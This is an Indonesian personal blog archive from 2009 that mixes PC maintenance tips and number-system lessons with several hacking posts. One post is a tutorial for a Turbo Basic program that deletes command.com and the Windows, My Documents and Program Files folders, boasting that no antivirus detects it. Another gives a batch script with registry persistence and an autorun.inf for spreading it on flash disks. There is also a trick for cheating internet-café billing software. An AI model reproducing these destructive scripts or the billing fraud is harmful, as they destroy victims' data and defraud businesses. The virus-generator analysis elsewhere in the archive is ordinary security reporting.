Rabu, 29 April 2009

all about virus

Masih ingat dengan virus Aksika? Virus “open source” yang satu itu memang memiliki banyak sekali varian. Tidak heran karena source code-nya memang disedia kan bebas di Internet, jadi siapapun dapat dengan mudah mengubah dan meng-compile source code-nya dan jadilah varian baru.

Berawal dari kemudahan itulah, banyak virus maker ataupun programer pemula mencoba–coba untuk membuat virus tanpa perlu repot. Paling yang dibutuhkan hanyalah pengetahuan seputar operating system dan programming.
Namun kemudahan itu belum seberapa, bila dibandingkan dengan menggunakan program Virus Generator. Dari namanya saja, kita sudah dapat mengira kegunaan dari program tersebut. Ya, Virus Generator merupakan program untuk dapat membuat virus secara mudah dan instan.
Bermula dari sampel sebuah virus yang lumayan banyak dikirimkan oleh pembaca kepada kami. PC Media Antivirus mengenalnya dengan nama Gen.FFE-Fajar, namun antivirus lain ada juga yang menyebutnya dengan nama Brontok.D. Dengan penyelidikan sederhana akhirnya diketahui bahwa virus tersebut dibuat menggunakan Virus Generator.
Fast Firus Engine (FFE)
Pembuat Generator tersebut menamakan program buatannya itu dengan nama Fast Firus Engine. Seperti yang terlihat pada program ataupun situs pembuatnya, ia memberitahukan bahwa program ini hanya untuk tujuan pembelajaran dan tidak untuk tindakan merusak. Namun tetap saja, bila program ini sudah jatuh ke tangan yang salah, pasti akan digunakan untuk pengrusakan.
Virus Generator ini dibuat menggunakan bahasa Visual Basic dan di-compress menggunakan packer tELock. Dalam paketnya terdapat dua buah file, yakni Fast Firus Engine.exe dan data.ex_. Fast Firus Engine. exe merupakan program utama dalam pembuatan virusnya dan sementara file data.ex_ sebenarnya merupakan badan virus asli yang belum dimodifi kasi.
Saat file Fast Firus Engine.exe dijalankan, maka pengguna akan dihadapkan pada sebuah interface. Anda hanya disuruh mengisikan nama virus, nama pembuat, dan pesan-pesannya. Lalu dengan menekan tombol Generate, maka jadilah virus Anda.
Cara kerja dari Generator tersebut sebenarnya sangat sederhana. Ia hanya menambahkan data yang Anda masukkan tadi ke bagian akhir file virus asli (data.ex_). Nantinya informasi tersebut digunakan oleh virus dalam proses infeksi.
Bagaimana Virus Menginfeksi?
Virus hasil ciptaan FFE memang terlihat sederhana. Sama seperti Generatornya, ia juga dibuat menggunakan bahasa Visual Basic yang di-compile dengan metode Native- Code. Lalu di compress menggunakan tELock agar ukurannya semakin kecil. Virus ini memiliki ukuran tubuh asli sebesar 55.296 bytes.
Saat virus kali pertama dieksekusi, ia akan membuat beberapa file induk di beberapa lokasi. Seperti di direktori \%WINDOWS%\, akan terdapat file dengan nama.exe, Win32 exe, activex.exe, dan %virusname% (nama virus sesuai yang diisikan oleh sang pembuatnya pada Generator). Di \%WINDOWS%\ %system32%\ akan terdapat file copy.pif, _default.pif, dan surif.bin. Selain itu, ia juga mengubah atau membuat file Oeminfo.ini yang merupakan bagian dari System Properties. Jadi apabila komputer Anda terinfeksi oleh virus hasil generate dari FFE, maka pada System Properties akan terdapat tulisan “Generated by Fast Firus Engine”.
Di direktori \%WINDOWS%\%System%\ akan terdapat beberapa file induk lagi yang menggunakan nama yang sama seperti file system milik Windows, seperti csrss.exe, winlogon.exe, lsass.exe, smss.exe, svchost. exe, dan winlogon.exe.
Dan tak lupa, pada root drive pun akan terdapat file dengan nama “baca euy.txt” yang berisikan pesan–pesan dari si pembuat virus. Jadi pada saat membuat virus dengan menggunakan Generator tersebut, maka pembuatnya akan disuguhkan beberapa kotak input, seperti Author of the virus, Name of the virus, dan Messages. Nah, isi dari kotak messages ini yang nantinya ditampilkan pada file “baca euy.txt” tersebut.
Setelah virus berhasil meng-copy-kan file induknya ke dalam sistem tersebut, ia akan menjalankan file induk tadi, sehingga pada memory akan terdapat beberapa process virus, seperti csrss.exe, winlogon.exe, lsass. exe, smss.exe, svchost.exe, dan winlogon.exe. Nama process yang mirip dengan process/services milik Windows tersebut mungkin sengaja untuk mengecoh user. Untuk membedakannya, Anda dapat melihat path atau lokasi process tersebut dijalankan. Process virus ini biasanya berjalan di direktori System sementara process/services milik Windows yang running biasanya berasal dari direktori System32.
Mengubah Registry
Virus ini menambahkan beberapa item startup pada registry agar pada saat memulai Windows ia dapat running secara otomatis atau untuk mengubah setting-an Windows agar sesuai keinginannya. Informasi mengenai registry yang diubahnya tidak akan dapat dengan mudah kita lihat karena dalam kondisi terenkripsi.
Yang ia ubah adalah seperti nilai dari item Userinit, yakni dengan menambahkan parameter ke file induk. Pada key HKEY_CURRENT_ USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load juga akan diubah itemnya agar mengarah ke file induknya dengan nama Activex.exe. Pada HKEY_CURRENT_USER \Software\Microsoft\ Windows\CurrentVersion\Run\ akan terdapat item baru dengan nama present. Key HKEY_ LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows\CurrentVersion\Run\ akan terdapat item baru juga dengan nama Default dan %username%, username di sini merupakan nama user yang sedang aktif saat itu.
Virus hasil generate dari FFE juga mengubah shell extension untuk file .exe, yakni dengan mengubah type information dari Application menjadi File Folder. Setting-an folder Options juga diubah agar tidak menampilkan extension dan setiap fi le dengan attribut hidden. Dan agar dapat aktif pada safe-mode, ia pun mengubah nilai dari item SafeBoot.
Dengan menggunakan bantuan registry Image File Execution Options, virus ini juga menambahkan item baru pada section tersebut dengan nama cmd.exe, msconfi g.exe, regedit.exe, dan taskmgr.exe. Maksudnya adalah agar setiap user yang mengakses program dengan nama file seperti itu, maka akan di-bypass oleh Windows dan dialihkan ke file induk si virus.
Bagaimana Virus Menyebar?
Virus ini dapat menyebar melalui media penyimpan data seperti flash disk. Saat Anda mencolokkan flash disk pada komputer yang terinfeksi, maka pada flash disk tersebut akan terdapat beberapa file baru, seperti explorer.exe, %virusname%.exe, dan msvbvm60.dll. Juga beberapa file pendukung seperti desktop.ini, autorun.inf agar ia dapat running otomatis pada saat mengakses flash disk tersebut.
File virus lainnya pun disimpan pada direktori baru di flash disk tersebut dengan nama Recycled yang berisikan file Firus.pif dan Folder.htt. Kesemua file virus tersebut dalam kondisi hidden sehingga tidak terlihat.
Virus Beraksi
Untuk dapat bertahan hidup, virus ini pun akan mencoba untuk memblok setiap program yang tidak ia inginkan seperti tools atau program antivirus termasuk PCMAV. Sama seperti halnya data registry yang diubah, data mengenai program apa saja yang diblok olehnya juga terdapat dalam tubuhnya dalam kondisi terenkripsi.
Jadi, saat virus sudah stay di memory, ia akan memonitor setiap program yang diakses oleh user, yakni dengan membaca nama file dan juga caption Window. Beberapa nama file antivirus yang dicoba untuk dibloknya adalah nav.exe, avgcc.exe, njeeves.exe, ccapps.exe, ccapp.exe, kav.exe, nvcoas.exe, avp32.exe, dan masih banyak lagi yang lainnya. Termasuk beberapa program setup atau installer juga tidak dapat dijalankan pada komputer terinfeksi.
Pencegahan dan Penanggulangan
PC Media Antivirus RC19 ini dapat membersihkan komputer terinfeksi secara tuntas dan akurat 100% setiap virus yang dibuat dengan menggunakan Fast Firus Generator. Untuk menghindari aksi blok oleh virus terhadap PCMAV, silakan Anda rename terlebih dahulu file PCMAV misalnya PCMAV-CLN.EXE menjadi MERDEKA.EXE.

cara membuat virus

Penulis peduli dengan para newbie yang sedang belajar pemograman sekaligus penulis juga
peduli dengan para progammer yang belum mengenal bahasa BASIC (Maklum kebanyakan progammer
pada langsung lompat ke Pascal, C dan lainnya).

Membuat program perusak (seperti virus) merupakan keinginan sebagian para pemula komputer,
tapi bagaimana mereka bisa membuat kalau mereka tidak tahu bahasa pemograman sama sekali,
anda jangan resah untuk masalah ini karena saat ini penulis akan mengajarkan anda cara
membuat program perusak ( seperti virus) yang sangat sederhana sekali tapi sangat mematikan
bahkan bisa dikatakan lebih mengerikan dari program perusak manapun.

Pertama kali skill yang anda butuhkan adalah dasar DOS, tanpa ini anda akan sulit untuk
berkreasi dalam membuat program ini tapi jika anda tidak tahu dasar perintah DOS maka anda
cukup copy paste saja, bahasa pemograman yang akan kita pakai adalah Turbo Basic v1.0, anda
dapat mendownloadnya di Google atau cari dirental CD.

Jika anda buta pemograman Turbo Basic maka anda masuk ke Edit lalu anda tulis Source Code
program perusak.

shell "Perintah DOS"

dengan diawali kata shell maka anda dapat menjalankan perintah DOS pada program, misal anda
membuat :

shell "c:"
shell "cd\"
shell "del command.com"

Diatas adalah contoh menghapus DOS pada DOS Classic, Windows 95/98 sehingga pengguna
komputer tidak dapat booting, kita contohkan yang lain.

shell "c:"
shell "cd\"
shell "deltree /y mydocu~1"
shell "deltree /y windows"
shell "deltree /y progra~1"

Diatas adalah contoh menghapus Directory My Document, Windows dan Program Files, sangat
fatal bukan ?

Setelah anda selesai membuat programnya maka anda save dahulu, caranya pilih File lalu Save
lalu beri nama filenya misal VIRUS.BAS, setelah itu baru kita mengcompile source code tadi,
caranya pilih Options lalu pilih Compile to EXE file, setelah itu masuk ke pilihan compile
lalu anda enter, maka source code tersebut akan menjadi file EXE.

Jika file EXE tersebut dijalankan maka komputer anda akan menjalankan perintah DOS pada
program, dari tutorial diatas, anda dapat berkreasi sendiri bagaimana virus buatan anda
dapat berjalan sesuai dengan anda inginkan, perlu diketahui bahwa BELUM ADA SATU ANTIVIRUS
DIDUNIA INI DAPAT MENDETEKSI PROGRAM INI ADALAH VIRUS jadi anda bebas mengcopykan program
ini ke komputer manapun yang anda suka kecuali komputer berbasis non DOS atau Windows, hehe

Tujuan dari tutorial ini adalah agar kita lebih waspada terhadap berbagai file dengan
ekstensi *.exe meskipun file *.exe tersebut 100% dinyatakan bebas virus dari berbagai
jenis Antivirus.

*Segala kesalahan error / kerusakan pada komputer dan semacamnya adalah tanggung jawab anda !
*Semua yang anda pelajari dan anda lakukan adalah sepenuhnya tanggung jawab anda


sumber:http://www.yogyafree.tk

tips merawat komputer

komputer memang untuk saat ini sudah bukan menjadi barang mewah lagi hampir smua orang dapat membelinya jika mereka ingin,n lalu gimana klo tiba2 sang komputer ini rusak??
yang bakal kita lakuin pasti pergi ke toko tempat kita membelinya untuk mengambil garansi kan??
lalu gimana klo garansi dari komputer kita ini habis??
disini aq bakal membagi tips cara untuk merawat barang yg satu ini agar tidak sampai rusak dengan mudah!!


1. Bersihkan motherboard & periferal lain(hardware) dari debu secara berkala. Untuk membersihkannya dapat kiga gunakan kuas halus ukuran kecil dan sedang. Setidaknya dua bulan sekali hal ini harus dilakukan. Buka casingnya terlebih dahulu kemudian bersihkan motherboard dan periferal lain (RAM, Video Card, Modem, Sound Card, CDR/CDRW/DVRW, TV Tuner) dengan sikat halus. Pada saat komputer tidak digunakan tutuplah komputer (monitor, CPU, keyboard/mouse) dengan cover sehingga debu tidak mudah masuk ke dalam komputer.
2. Uninstall atau buang program yang tidak berguna. Ruang harddisk yang terlalu banyak tersita akan memperlambat proses read/write harddisk sehingga beban kerjanya akan lebih berat sehingga harddisk akan cepat rusak. Biasanya akan muncul warning juga space hardisk kita sudah penuh. System operasi windows sudah mendukung akan hal yang seperti ini
3. Bersihkan Recycle Bin secara rutin. Sebenarnya file/folder yang kita hapus tidak langsung hilang dari harddisk karena akan ditampung dahulu di Recycle Bin, namun ada beberapa jenis setingan yang bisa kita gunakan antara lain memberikan peringatan saat menghapus, hapus lalu simpan di tempat sementara atau hapus permanen. Untuk setingan yang hapus lalu disimpan ditempat penampungan ini dengan maksud agar suatu saat apabila Anda masih membutuhkannya dapat mengembalikan lagi. Recycle Bin yang sudah banyak juga akan menyita ruang harddisk yang dapat menyebabkan pembacaan harddisk jadi lelet. Caranya jalankan Windows Explorer >> klik Recycle Bin >> klik File >> klik Empty Recyle Bin. Atau Anda dapat menjalankan fungsi Disk Cleanup Caranya Klik Start >> Program >> Accessories >> System Tool >> Disk Cleanup >> kemudian pilih drive yg mau dibersihkan >> setelah itu centangilah opsi Recycle Bin kalau perlu centangi juga yg lain (seperti temporary file, temporary internet file), setelah klik OK.
4. Install program antivirus dan update secara berkala. Untuk dapat mengenali virus/trojan2 baru sebaiknya update program antivirus secara berkala. Virus yang terlanjur menyebar di komputer dapat membuat Anda menginstall ulang komputer. Hal ini selain membutuhkan biaya juga akan menyebabkan harddisk Anda akan lebih cepat rusak dibanding apabila tidak sering diinstall ulang. Ada baiknya kita menonaktifakan sistem restore yaitu dengan cara klik kanan My Computer >> pilih System Restore >> lalu beri tanda centang pada cek box dengan keretangan Turn off System Restore on all drive
5. Tutup / close program yg tidak berguna Setiap program yg diload atau dijalankan membutuhkan memory (RAM) sehingga semakin banyak program yg dijalankan semakin banyak memory yg tersita. Hal ini selain dapat menyebabkan komputer berjalan lambat (lelet) juga beban kerja menjadi lebih berat yg akhirnya dapat memperpendek umur komponen/komputer
6. Pakailah UPS atau stavolt.Pakailah UPS untuk mengantisipasi listrik mati secara tiba-tiba yg dapat mengakibatkan kerusakan pada harddisk. Kalau terpaksa tidak ada UPS, pakailah Stavolt untuk mengantisipasi naik turunnya tegangan listrik.
7. Aktifkan screensaver Selain bersifat estetis, screensaver mempunyai fungsi lain yg penting. Monitor CRT juga televisi menggunakan fosfor untuk menampilkan gambar. Kalau monitor menampilkan gambar yg sama untuk beberapa saat maka ada fosfor yang menyala terus menerus. Hal ini dapat mengakibatkan monitor bermasalah yaitu gambar menjadi redup/kurang jelas. Lain halnya jika monitor Anda adalah LCD, LED yg sudah dilengkapi dengan energy saving, maka screensaver tidak terlalu dibutuhkan lagi.Cara+ mengaktifkan screensaver dapat dilakukan dengan banyak cara, salah satunya klik Start >> Control Panel >> Display >> klik tab screensaver, kemudian pilih sesuai selera Anda.
8. Defrag harddisk secara berkala. Fungsi defrag adalah untuk menata dan mengurutkan file-file harddisk berdasarkan jenis file/data sedemikian rupa sehingga akan mempermudah proses read/write sehingga beban kerja akan lebih ringan yg akhirnya dapat memperpanjang umur harddisk. Caranya klik menu Start > Program > Accesories > System Tool > Disk DefragmenterSaat menjalankan fungsi ini tidak boleh ada program lain yg berjalan termasuk screensaver karena akan mengacaukan fungsi defrag ini. Untuk cara ini dianjurkan tidak terlalu sering,mengapa….? Defrag adalah proses pengaturan file pada hardisk. Untuk mengaturnya agar berada pada posisi track yang berdekatan maka dilakukan gesekan untuk memindahkan. Defrag yang terlalu sering akan menyebabkan kondisi piringan hardisk cepat rusak karena seringanya proses pengikisan.
9. Ventilasi yang cukup Tempatkan monitor maupun CPU sedemikian rupa sehingga ventilasi udara dari dan ke monitor / CPU cukup lancar. Ventilasi yg kurang baik akan menyebabkan panas berlebihan sehingga komponen/rangkaian elektronik di dalamnya akan menjadi cepat panas sehingga dapat memperpendek umur komponen tsb. Oleh karena itu usahakan jarak antara monitor/CPU dengan dinding/tembok minimal 30 cm. Kalau perlu pasang kipas angin di dalam ruangan. Akan lebih baik lagi jika menggunakan AC, hmm tambah dingin
10. Jangan meletakkan Speacker Active terlalu dekat dengan monitorKarena medan magnet yang ada pada speacker tersebut akan mempengaruhi monitor yaitu warna monitor menjadi tidak rata atau belang-belang.
11. Pasang kabel ground. Apabila casing nyetrum, ambil kabel dengan panjang seperlunya, ujung satu dihubungkan dengan badan CPU (pada casing) sedangkan ujung yg lain ditanam dalam tanah. Hal ini akan dapat menetralkan arus listrik yg “nyasar” sehingga dapat membuat komponen elektronik lebih awet.(diambil dari berbagai sumber)

Senin, 27 April 2009

cara dewa buat yg diwarnet

Mencurangi billing explorer diwarnet

Jika ingin mencurangi billing explorer diwarnet, baca trik ini!
1. main aja seperti biasa (isi user dan password)
2. Tunggu sampai sang Operator Warnet lengah (Biasanya main game atau tertidur)
3. Jika situasi dan kondisinya sudah memungkinkan, reset PC
4. billing explorer bekerja atas perintah (command) startup di windows, kelemahan command ini
membutuhkan waktu sekitar 2-3 detik untuk loading, inilah kesempatan kamu untuk menekan memencet tombol
“tombol maut” ctrl+alt+del, so matiin tuh startup. basanya bertuliskan “billing explorer”
5. Jika warnet sudah mendisable tombol maut itu, tenang saja. tetap tekan ketiga tombol itu dan kalau ada
peringatan “task manager disable by operator” tekan aja oke atau drag aja kepinggir.
6. Semua tanggung jawab ditanggung oleh pemakai saya selaku pengupload gag bertanggung jawab, maka hati-hatilah

build virus sederhana dengan notepad

ok temen2 nih aq posting cara bikin virus tpi nih virus gag bakal ngerusak OS(operating system)kalian tpi mayan lah bkin yg kena jantungan efeknya cman ganti tampilan dr windows

note:-nih hnya jalan di win xp
-jngan pernah simpen di komputer kalian(klo mau nyoba ya silakan^^)
ok langsung ja nih scriptnya n langkah pertama buka notepad lalu tulis(copas ja deh klo males)tpi edit2 ndiri ya yg aq kasih keterangan



@echo off
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\ /y
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\WINDOWS\ /y
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\WINDOWS\system32\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\WINDOWS\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\WINDOWS\system32\ /y
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v LegalNoticeCaption /d “WARNING MESSAGE FROM LOCAL_HOST(judul title bar)” /f
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v LegalNoticeText /d “I HAVE RUINED YOUR COMPUTER AND YOUR COMPUTER IS LOCKED(pesan pembuat)” /f
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v Wallpaper /d %systemdrive%\WINDOWS\system32\image_name(terserah dari nama file gambar pembuat).bmp /f
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v WallpaperStyle /d 0 /f
reg add “HKEY_USERS\.DEFAULT\Control Panel\Desktop” /v Wallpaper /d %systemdrive%\WINDOWS\system32\image_name(terserah dari nama file gambar pembuat).bmp /f
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v nama_terserah /d %systemdrive%\windows\system32\nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe /f
reg add “HKEY_CURRENT_USER/Control Panel/Colors” /v window /d #000000(atau kombinasi warna RGB lain,cari pake Adobe Photoshop) /f

- lalu di SAVE AS ALL FILES dengan exstensi .bat (nama_file.bat)
- buat Autorun.inf dengan script:

[autorun]
open=nama_file.bat

- lalu SAVE AS ALL FILES dengan exstensi .inf (Autorun.inf)
- file-file tersebut harus dalam 1 direktori, lalu seleksi file-file tsb klik kanan PROPERTIES beri tanda check pada HIDDEN dan READ-ONLY
- copy file-file tsb ke CD/flashdisk
- nikmati efeknya
dijamin maknyus(kata pak bondan^^)
note:
- jangan disalahgunakan
- maaf kalau pernah diposting
- maaf lagi kalau salah tempat untuk posting,….maklum member baru and masih amatir ….
- lagi-lagi maaf kalau ada yang salah, and mohon dikoreksi ….
- kalau mau buat anti virusnya tinggal di modifikasi nilainya….

Sumber : http://www.yogyafree.net/forum2/viewtopic.php?t=11281



Setelah beberapa link software portable yang telah sediakan, antara lain, Microsoft Windows Home Edition Portable, CorelDraw 11 portable, dan Adobe Photoshop CS Portable, kini kami kembali hadir untuk menyediakan link Macromedia Flash 8 Portable yang bisa anda download secara gratisan. Hampir semua fitur yang ada di macromedia flash 8 versi installasi itu ada dalam versi yang portable ini. Bisa langsung didownload di :

http://rapidshare.com/files/34611826/MacromediaFlash8Portable.rar
passwordnya : WWW.HEARTODARK.COM

Selamat Mencoba !! :D

download theme windows XP

buat yg ska download theme buat win XPnya biar lebih bagus neh
aqq kasih linknya silakan kalian download sndiri
http://rapidshare.com/files/131255204/70_themes_for_winXp__With_installation_pack_.part1.rar

http://rapidshare.com/files/131255204/70_themes_for_winXp__With_installation_pack_.part1.rar

http://rapidshare.com/files/131256456/70_themes_for_winXp__With_installation_pack_.part3.ra

Kamis, 23 April 2009

Mempercepat Kerja PC dengan Setting Virtual Memori

sebelumnya aq mau minta maaf karena cuman copy paste(copas)dr situs
http://blog.bank-download.com
tpi aq mau copas karena males nulis+menurut aq hal ini sangat bermanfaat buat pembaca

Jika anda membuka program secara bersamaan, apalagi program2 yang besar seperti Photoshop, memori menjadi penuh dan kerja komputer menjadi lambat, windows mengatasi masalah ini dengan menggunakan kapasitas kosong dalam hard disk. The Virtual Paging File (juga disebut swap file) pada hard disk bertindak sebagai tempat penyimpanan sementara jika windows kekurangan tempat pada memori. Biasanya windows membuat paging file temporer pada hard disk hanya saat dibutuhkan saja, namun dengan paging file yang tetap kinerja komputer bisa lebih baik.


Caranya : Klik "Star --> klik kanan My Computer--> pilih Propertis --> buka tab Advanced --> di bagian performance -- klik tombol setting --> buka lagi tab advanced terus di bagian virtual memory klik tombol "change".
Pilih partisi pada hard disk (C atau D) yang memiliki tempat kosong setidaknya dua kali ukuran RAM. Pada partisi ini atur "initial size" dan "maximum size" dengan nilai yang sama (contoh 512 MB). Dengan pengaturan nilai yang sama, anda telah membuat fixed paging file.

Penting : Atur ukuran menjadi dua kali ukuran RAM yang anda miliki dan harus sama, kalau sudah selesai klik tombol "set" lalu "ok". Anda harus me-restart PC untuk mengaktifkan perubahan tersebut.

teknik digital

ada dasarnya pengolahan teknologi digital tuh menggunakan bilagan biner…

Tapi untuk memenuhi pengolahan data yg lebih efektif dan efisien maka dibuat sistem bilangan oktal dan hexa…

Biner adalah bilangan yang hanya terdiri dari 2 bilangan, yaitu 0 dan 1…

Oktal adalah bilangan yang terdiri dari 8 bilangan, yaitu 0,1,2,3,4,5,6,7…

Hexa adalah bilangan yang terdiri dari 16 bilangan, yaitu 0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F…

Permasalahan yang sering timbul adalah bagaimana caranya mengkonversi dari satu ke yang lainnya… Berikut juga operasi2 yang dapat dilakukan kepadanya…

Lansung ke contoh aja lah…

Biner: 01 kalo dalam desimal tuh maksudnya 0*21 + 1*20 = 1.

Oktal juga sama cuma tinggal ganti 2 ma angka 8, begitpun hexa cuma tinggal ganti 2 a angka 16…

Masalahnya gmana cara cepetnya kalo mau konversi dari bilangan biner ke oktal ato hexa…

Prinsionya adalah dengan memanfaatkan karakteristik bilangan itu sendiri…

Bilangan biner merupakan bilangan dengan perpangkatan max 21 , sedangkan oktal adalah bilangan dengan perpangkatan max 23 , dan hexa adalah bilangan dengan perpangkatan max 24 .

Nah maksudnya apa? Maksudnya adalah 3 bilangan di depan/belakang koma pada biner merupakan satu bilangan di depan/belakang koma pada oktal. Begitu juga kalo mau hexa, 4 bilangan di depan/belakang koma pada biner merupakan satu bilangan di depan/belakang pada hexa.

Contohnya…

Biner: 10111,1100

Oktal:

Liat 3 bilangan depan koma: 111 dan 010 (kalo paling depan dah gak ada angka tambahin aja ma 0)

Liat 3 bilangan belakang koma: 110 dan 000 (kalo paling depan dah gak ada angka tambahin aja ma 0)

Konversi:111=1*22 +1*21 +1*20 =7; 010=0*22 +1*21 +0*20 =2;110=1*22 +1*21 +0*20 =6;000=0*22 +0*21 +0*20 =0.

Jadi dalam oktal 10111,1100=27,60…

Begitu juga pada hexa…


1. Sistem bilangan merupakan tata aturan atau susunan dalam menentukan nilai suatu bilangan, antara lain sistem desimal, biner, hexadesimal, oktal, BCD, Grey Code, Exess-3 dan lain-lainnya yang dibagi berdasarkan basis yang digunakan dalam penentuan nilai dari bilangan tersebut. Sistem bilangan yang umum dipakai adalah sistem bilangan desimal.
Desimal

Merupakan suatu sistem bilangan yang berbasis 10 (tiap bilangan dalam sistem tersebut dikalikan dengan 10x), terdiri dari angka : 0, 1, 2, 3, 4, 5, 6, 7, 8, 9.

Biner

Merupakan suatu system bilangan yang berbasiskan 2 (tiap bilangan dalam sistem tersebut dikalikan dengan 2x), terdiri dari angka 0 dan 1.

Heksadesimal

Merupakan suatu sistem bilangan yang berbasiskan 16 (tiap bilangan dalam sistem tersebut dikalikan dengan 16x), terdiri dari 10 angka yaitu 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 dan 6 huruh yaitu A, B, C, D, E, F.

Oktal

Merupakan suatu sistem bilangan yang berbasiskan 8 (tiap bilangan dalam sistem tersebut dikalikan dengan 8x), terdiri dari delapan angka yaitu 0, 1, 2, 3, 4, 5, 6, 7.

BCD (Binary-Coded decimal)

Merupakan format untuk merepresentasikan bilangan desimal (integer) dengan empat bit (satu nibble) untuk setiap angka penyusunnya

Gray Code

Merupakan sistem bilangan yang memliki sistem mirip dengan biner hanya saja dalam susunan bilangan ini yang boleh berubah pada urutan selanjutnya hanya 1 angka. Misalnya 001 berikutnya 011 berikutnya 010 dan selanjutnya

Excess-3

Merupakan sistem bilangan yang secara sederhana dapat diartikan sebagai bilangan biner yang memiliki lebih tiga angka dari bilangan biner biasa. Contohnya 0 = 011, 1 = 100, 2 = 101 dan seterusnya.

Mengubah desimal ke biner

Untuk mengubah angka desimal menjadi angka biner digunakan metode pembagian dengan angka 2 sambil memperhatikan sisanya. Mari kita perhatikan contohnya!

205(10)

205 : 2 = 102 sisa 1

102 : 2 = 51 sisa 0

51 : 2 = 25 sisa 1

25 : 2 = 12 sisa 1

12 : 2 = 6 sisa 0

6 : 2 = 3 sisa 0

3 : 2 = 1 sisa 1

1 sebagai sisa akhir “1”

Note:

Untuk menuliskan notasi binernya, pembacaan dilakukan dari bawah yang berarti 11001101(2)

Mengubah desimal ke heksadesimal

Untuk mengubah angka desimal menjadi angka heksadesimal digunakan metode pembagian dengan angka 16 sambil memperhatikan sisanya. Mari kita perhatikan contohnya!

291(10)

291 :16 = 18 sisa 3

18 : 16 = 1 sisa 2

1 : 16 = 0 sisa 1

1 sebagai sisa akhir “1”

Note:

Untuk menuliskan notasi heksadesimalnya, pembacaan dilakukan dari bawah yang berarti 123(16)

Mengubah oktal ke biner

Untuk mengubah angka desimal menjadi angka okta digunakan metode pembagian dengan angka 8 sambil memperhatikan sisanya. Mari kita perhatikan contohnya!

300(10)

300 : 8 = 37 sisa 4

37 : 8 = 4 sisa 5

4 : 8 = 0 sisa 4

Note:

Untuk menuliskan notasi oktalnya, pembacaan dilakukan dari bawah yang berarti 454(8)

Mengubah desimal ke Excess-3

Untuk mengubah desimal ke excess-3 dilakukan dengan cara menambah bilangan desimal tersebut dengan 3 dan mengubahnya dalam bentuk biner. Mari kita lihat contohnya, untuk mengubah angka 3 dalma desimal kebentuk excess-3:

3+3=6 6 bilangan binernya 110, jadi bilangan desimal 3, excess 3 nya adalah 110.

Mengubah desimal ke Gray Code

Untuk bilangan gray code tidak memiliki aturan cara konversi, yang perlu diingat adalah kelanjutan dari bilangan yang satu ke bilangan berikutnya hanya boleh berubah 1 angka.

Mengubah desimal ke BCD

Untuk mengubah angka oktal kedesimal digunakan metode menguraikan angka yang ada dan mengubahnya menjadi 4 bit dalam bilangan biner. Mari kita lihat contohnya

123 = 1 2 3

0001 0010 0011

Jadi BCDnya = 0001 0010 0011

Mengubah biner ke desimal

Untuk mengubah angka biner kedesimal digunakan metode pengkalian dengan angka dua berpangkat urutan kedudukan bilangan biner. Mari kita lihat contohnya

10011

= 1.24 + 0.23 + 0.22 + 1.21 + 1.20

= 16 + 0 + 0 + 2 + 1

= 19

Mengubah heksadesimal ke desimal

Untuk mengubah angka heksadesimal kedesimal digunakan metode pengkalian dengan angka 16 berpangkat urutan kedudukan bilangan heksadesimal. Mari kita lihat contohnya

123

= 1. 162 + 2.161 + 3.160

= 256 + 32+ 3

= 291

Mengubah oktal ke desimal

Untuk mengubah angka oktal kedesimal digunakan metode pengkalian dengan angka 8 berpangkat urutan kedudukan bilangan oktal. Mari kita lihat contohnya

123

= 1. 82 + 2.81 + 3.80

= 64 + 16 + 3

= 83

Mengubah BCD ke desimal

Mengubah bilangan BCD ke desiml dapat dilakukan dengan cara memotong-motong bilangan BCD menjadi potongan-potongan yang terdiri dari 4 bit, lalu potongan tersebut diubah kedalam bilangan biner sebagaimana biasanya.

Contoh 000100110100 = 0001 0011 0100 = 1 3 4 = 134

Mengubah Gray Code ke desimal

Untuk bilangan gray code tidak memiliki aturan cara konversi, yang perlu diingat adalah kelanjutan dari bilangan yang satu ke bilangan berikutnya hanya boleh berubah 1 angka.

Mengubah bilangan Excess-3 ke desimal

Pengubahan bilangan ini sama dengan pengubahan bilangan biner ke desimal hanya saja hasil bilangan desimal yang nantinya didapa harus di kurangi 3 karena sistem bilangan ini memiliki range 3 angka untuk setiap urutan bilangan.

Contohnya: 1000 = (1.23 + 0.22 + 0.2 + 0.1) - 3 = (8) - 3 = 5

Note:

Untuk mengubah sistem bilangan yang satu ke yang lainnya dapt dilakukan dengan cara nenkonversikan bilangan tersebut ke bentuk desimal, agar proses lebih mudah

Kamis, 16 April 2009

Menu, Editor, Serta Short Cut Turbo Pascal 7.0

Menu adalah daftar pilihan utama yang terdapat pada menu bar ( bagian atas) jendela Turbo Pascal, yaitu File, Edit, Search, Run dan seterusnya….

Sedangkan editor adalah tempat mengetik listing program itu sendiri. Jika anda sedang berada dalam editor (mengetik listing program) anda bisa menekan tombol F10 untuk mengakses menu atau menekan tombol ALT kemudian diikuti huruf pertama dari menu yang akan dipilih, dan ESC untuk kembali ke Editor. Lebih lengkapnya adalah sebagai berikut :

F10

Mengakses menu

ESC

kembali ke Editor

ALT + F

mengakses menu File

ALT + E

mengakses menu Edit

ALT + S

mengakses menu Search

ALT + R

mengakses menu Run

ALT + C

mengakses menu Compile

ALT + D

mengakses menu Debug

ALT +T

mengakses menu Tools

ALT + O

mengakses menu Options

ALT +W

mengakses menu Windows

ALT +H

mengakses menu Help

Perintah - Perintah Tombol

Esc

